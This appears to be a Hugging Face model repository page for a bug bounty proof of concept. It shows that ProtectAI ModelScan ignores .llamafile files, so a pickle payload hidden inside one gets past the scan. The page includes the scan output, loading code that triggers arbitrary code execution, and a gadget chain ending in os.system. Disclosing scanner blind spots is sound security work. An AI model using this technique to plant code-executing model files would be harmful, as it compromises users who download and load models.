You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Llamafile ACE — Total ModelScan Blindspot PoC

Huntr Bug Bounty - Model File Formats (Llamafile / ProtectAI ModelScan)

bypass_v5.llamafile demonstrates that ProtectAI ModelScan v0.8.8 has NO scanner registered for the .llamafile extension.

Evidence

modelscan scan -p bypass_v5.llamafile -r json
# {"total_scanned": 0, "total_issues": 0, "issues": [], "errors": []}
# exit code: 3  (NOTHING SCANNED — file completely ignored)

# RCE still fires on load:
import zipfile, pickle
with zipfile.ZipFile('bypass_v5.llamafile') as z:
    pickle.loads(z.read('payload.pkl'))  # <- ACE

Gadget Chain

importlib.import_module -> builtins.vars -> operator.getitem -> os.system

Downloads last month: 1

Inference Providers NEW

This model isn't deployed by any Inference Provider. 🙋 Ask for provider support